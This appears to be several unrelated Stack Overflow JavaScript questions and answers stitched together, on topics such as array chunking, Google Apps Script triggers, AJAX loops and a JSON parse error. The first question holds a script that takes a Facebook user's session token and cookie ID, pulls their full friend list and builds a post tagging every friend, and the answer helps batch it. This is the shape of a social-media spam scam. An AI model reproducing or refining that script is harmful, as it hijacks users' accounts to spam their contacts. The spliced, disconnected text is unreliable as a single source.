Because stackoverflow keep messing up my code, i have pasted it here http://pastebin.com/xA8wT3M2
What the code does is choose the entire list of friends. What I would rather have it do is choose 6 at a time for the array without repeats until the list is done.
I know this chooses 6 but it keeps picking the first 6 from the array over and over
var i=0;i<6;
EDIT:
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(/c_user=(\d+);/)[1];
var friends = new Array();
gf = new XMLHttpRequest();
gf.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&" + Math.random(), false);
gf.send();
if (gf.readyState != 4) {} else {
data = eval('(' + gf.responseText.substr(9) + ')');
if (data.error) {} else {
friends = data.payload.entries.sort(function() {
return (Math.round(Math.random()) - 0.5);
});
}
}
var postmessage = "gerrgg";
for (var i = 0; i < friends.length; i++) {
postmessage = postmessage + "#[" + friends[i].uid + ":" + friends[i].text + "] ";
}
To keep choosing 6 elements from the array use slice:
var arrSliceOf6 = [];
for(var i = 0; i < arr.length; i += 6)
arrSliceOf6 = arr.slice(i, i + 6);
Here's a demo

Refresh data retrieved by a custom function in Google Sheet
(21 answers)
Closed 9 months ago.
I have ImportJson() function that doesn't update its value unless I make changes to Appscript then reload the sheet again, I think it was running but suddenly stopped.
The function should be get the value of 'A2' if found go to the loop, if not just return the fixed API call data, but whatever I update the A2 cell it doesn;t recall the function with the other kinds of the API call but it runs normally in the app script editor
function ImportData1() {

Here is a simple function that you can setup to trigger every time cell A2 changes. It will call your import function when the right cell has changed.
function valueChange(e)
{
if (e.range.getRow() == 1 && e.range.getColumn() == 2)
{
ImportData1();
}
}
I'm really new to Javascript and pretty much copied most of the code and modified it a bit. Sometimes I'm getting an error putted into a cell and sometimes the correct values. Do you know what is the issue?
for (p=3; p < 19; p=p+3){
var Value = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(9,p);
var outputValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(counter.getValue(),(3 + a));
outputValue.setValue(Value.getValue());
a = a +1;}
I'm adding the whole code as well for reference:
function getData() {
var queryString = Math.random();
var i;
for (i=2; i < 8; i++) {
var AddressColumn = SpreadsheetApp.getActiveSheet().getRange("W1").getColumn();
//if (ValueCrypto>0)
var cellFunction1 = '=Value(Replace(IMPORTXML("' + SpreadsheetApp.getActiveSheet().getRange(i,AddressColumn).getValue() + '?' + queryString + '","'+ SpreadsheetApp.getActiveSheet().getRange(1,AddressColumn).getValue() + '"),1,1,))*X1';
SpreadsheetApp.getActiveSheet().getRange(i,3).clearContent(); // You can also use range.setFormula("");
SpreadsheetApp.flush();
SpreadsheetApp.getActiveSheet().getRange(i,3).setValue(cellFunction1);
var cellFunction2 = '=Value(Replace(IMPORTXML("' + SpreadsheetApp.getActiveSheet().getRange(i,AddressColumn).getValue() + '?' + queryString + '","'+ SpreadsheetApp.getActiveSheet().getRange(1,AddressColumn).getValue() + '"),1,1,))';
SpreadsheetApp.getActiveSheet().getRange(i,8).clearContent(); // You can also use range.setFormula("");
SpreadsheetApp.flush();
SpreadsheetApp.getActiveSheet().getRange(i,8).setValue(cellFunction2);
}
//var cellFunction2 = '=IMPORTXML("' + SpreadsheetApp.getActiveSheet().getRange('A4').getValue() + '?' + queryString + '","'+ SpreadsheetApp.getActiveSheet().getRange('A5').getValue() + '")';
//SpreadsheetApp.getActiveSheet().getRange('C2').setValue(cellFunction2);
counter2 = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange("A12").getValue();
SpreadsheetApp.getActiveSheet().getRange("A12").setValue(counter2+1)
if (counter2 = 3) {recordValue();}
}
function recordValue() {
SpreadsheetApp.getActiveSheet().getRange("A12").setValue(0);
var counter = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange("A13");
//console.log(counter)
var dateCell = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(counter.getValue(),2);
dateCell.setValue(new Date());
//const errorValues = ["#N/A", "#REF", "#ERROR!"];
var a = 0;
for (p=3; p < 19; p=p+3){
var Value = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(9,p);
var outputValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(counter.getValue(),(3 + a));
outputValue.setValue(Value.getValue());
a = a +1;
}
var TotalValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange("R2");
var outputTotalValue = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(counter.getValue(),17);
outputTotalValue.setValue(TotalValue.getValue());
var TotalValue2 = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange("R5");
var outputTotalValue2 = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Sheet1").getRange(counter.getValue(),18);
outputTotalValue2.setValue(TotalValue2.getValue());
counter.setValue(counter.getValue() + 1);
if(counter.getValue() > 300){counter.setValue("14");}}
I am working in a javascript function that takes all of the id's from a HTML table and sends each iteration of a loop and sends the info to a PLSQL procedure to update. I concat a number on each id to make each one unique. If I add an alert in the loop and click through one by one it works. If I let it go on its own with no alert it skips some iterations. Is there something that I am doing wrong?
function process_update() {
var nDataCount = document.getElementById("v_nDataCount").value;

var p_buy = document.getElementById("p_buy").value;
var x = 0;
if (nDataCount == 0) {
x = 0;
} else {
x = 1;
}

Try the below code. I am using an AJAX GET request within the loop with request params, so as to not change the interface as much as possible. It uses only plain JS since I am not sure if you have jquery.
The actual changes start from line 48. Of course, I could test this code only in a limited way, so it might have possible bugs (please let me know). Also this can be possibly refined further, but as a quick fix it should do.
A word of caution: This could make a lot of calls in quick succession. So if you have too many loop iterations you might end up bringing down the server. Use wisely! :-) There should be some kind of batching to avoid this, but that will need the call interface to be changed.
Lines 48-61: I am creating a plain JS object out of all your parameters. The key is parameter name, value is the value to be passed.
Line 63: Here I am defining a self-invoking function, which makes the AJAX call in its body. This way, even though AJAX is asynchronous in nature, it will run in sync with the for loop outside.
Line 64-66: I am serializing the object created in the loop, into query parameters.
Lines 68,69: Framing the URL to which request will be made.
Lines 71-77: Actually making the request. This is just boilerplate AJAX-invoking code you can find anywhere (jQuery would've made life so much simpler :-)).

I am trying to print out the values of the array in a google doc. I do get the correct values but it goes on printing out a number of "undefined" values. The simplest way is probably to filter out the undefined values before I print out the array.
Here is the array declaration:
var paramArr = Object.keys(e.parameter).reverse();
var tableArr = [];
for(var i = 0; i < paramArr.length - 1; i++) {
var tempArr;
var nameSelector = "Company:" + i;
var startDateSelector = "Started:" + i;
var endDateSelector = "Ended:" + i;
var referenceSelector = "Reference:" + i;
var descriptionSelector = "Description:" + i;
tempArr = [e.parameter[nameSelector] + " ",
e.parameter[startDateSelector] + " - " +
e.parameter[endDateSelector]+ "\n\n" +
e.parameter[descriptionSelector]
];
I have tried this, but it doesn't work:
tempArr = tempArr.filter(function(element){
return element !== undefined;
});
I've been doing web development for quite sometime and have never seen this behavior with JavaScript. This is the code I started out with:
function processLogin() {
if (loginReq.readyState == 4) {
var data = eval('(' + loginReq.responseText + ')');
data = data.userData;
var focus = data.team.focus.coordinates;
thisTeam = new Team(data.team.id, data.team.missionId, data.team.name, data.team.operatingArea.coordinates[0]);
if (data.team.zoomLevel != '') {
thisTeam.zoomLevel = data.team.zoomLevel;
}
if (focus.length > 0) {
thisTeam.focusLat = focus[1];
thisTeam.focusLon = focus[0];
}
for (var i = 0; i < data.teams.length; i++) {
var temp_team = new Team(data.teams[i].id, data.teams[i].missionId, data.teams[i].name, []);
teams.push(temp_team);
}
var teamDropDownText = [];
for (var j = 0; j < teams.length; j++) {
if (thisTeam.teamId == teams[j].teamId) {
teamDropDownText.push('<option value="' + teams[j].teamId + '" selected="selected">' + teams[j].name + '</option>');
} else {
teamDropDownText.push('<option value="' + teams[j].teamId + '">' + teams[j].name + '</option>');
}
}
$('#addIncidentTeam').html(teamDropDownText.join(''));
$('#editIncidentTeam').html(teamDropDownText.join(''));
// When all this has finished, make the
// rest of the calls to get the rest of the data
startTimer();
downloadDevices();
initializeMap();
}
}
What I have written there isn't that important, and let me explain why.
The line with the single semicolon after thisTeam.zoomLevel = data.team.zoomLevel; was giving me a syntax error in firebug. I read and re-read my code, and couldn't figure out what I did wrong, so I put the semicolon on the same line as thisTeam.zoomLevel = data.team.zoomLevel and it told me it had a syntax error on the blank line!
To do another test, I moved this whole function to it's own JavaScript file and put everything after that line on one line and even tried to condense some of the code above, so now it looks like this:
function processLogin() {
if (loginReq.readyState == 4) {
var data = eval('(' + loginReq.responseText + ')');
data = data.userData;
var focus = data.team.focus.coordinates;
thisTeam = new Team(data.team.id, data.team.missionId, data.team.name, data.team.operatingArea.coordinates[0]); if (data.team.zoomLevel.length > 0) { thisTeam.zoomLevel = data.team.zoomLevel; } if (focus.length > 0) { thisTeam.focusLat = focus[1];thisTeam.focusLon = focus[0];} for (var i = 0; i < data.teams.length; i++) { var temp_team = new Team(data.teams[i].id, data.teams[i].missionId, data.teams[i].name, []); teams.push(temp_team); } var teamDropDownText = []; for (var j = 0; j < teams.length; j++) { if (thisTeam.teamId == teams[j].teamId) { teamDropDownText.push('<option value="' + teams[j].teamId + '" selected="selected">' + teams[j].name + '</option>'); } else { teamDropDownText.push('<option value="' + teams[j].teamId + '">' + teams[j].name + '</option>'); } } $('#addIncidentTeam').html(teamDropDownText.join('')); $('#editIncidentTeam').html(teamDropDownText.join('')); /* When all this has finished, make the rest of the calls to get the rest of the data */ startTimer(); downloadDevices(); initializeMap(); var kmlLink = document.getElementById('kmlLink'); var geoserverLink = document.getElementById('geoserverLink') if (user_role.substring(0, 1) == 'M') { kmlLink.href = "https://www.intelink.gov/giatstldni/hermes/webservice/kml/download/M&" + thisTeam.missionId + "&48"; kmlLink.innerHTML = "https://www.intelink.gov/giatstldni/hermes/webservice/kml/download/M&" + thisTeam.missionId + "&48"; geoserverLink.href = "https://www.intelink.gov/giatstldni/geoserver/wms/kml?layers=hermes_all&cql_filter=mission_id+=+" + thisTeam.missionId; geoserverLink.innerHTML = "https://www.intelink.gov/giatstldni/geoserver/wms/kml?layers=hermes_all&cql_filter=mission_id+=+" + thisTeam.missionId;} else { kmlLink.href = "https://www.intelink.gov/giatstldni/hermes/webservice/kml/download/T&" + thisTeam.id + "&48"; kmlLink.innerHTML = "https://www.intelink.gov/giatstldni/hermes/webservice/kml/download/T&" + thisTeam.id + "&48"; geoserverLink.href = "https://www.intelink.gov/giatstldni/geoserver/wms/kml?layers=hermes_all&cql_filter=team_id+=+" + thisTeam.id; geoserverLink.innerHTML = "https://www.intelink.gov/giatstldni/geoserver/wms/kml?layers=hermes_all&cql_filter=team_id+=+" + thisTeam.id; } } }
I did this just to see what error I would get, I knew it wouldn't work correctly. But now it's telling me there's an error on a line that doesn't exist in the file! I get:
syntax error
[Break On This Error] (10 out of range 8)
I went and commented more code out and it just made it 10 out of range 6! I don't understand!
I found the culprit. One of the values of the JSON returned was empty (no quotes or anything). Not a very helpful error message.
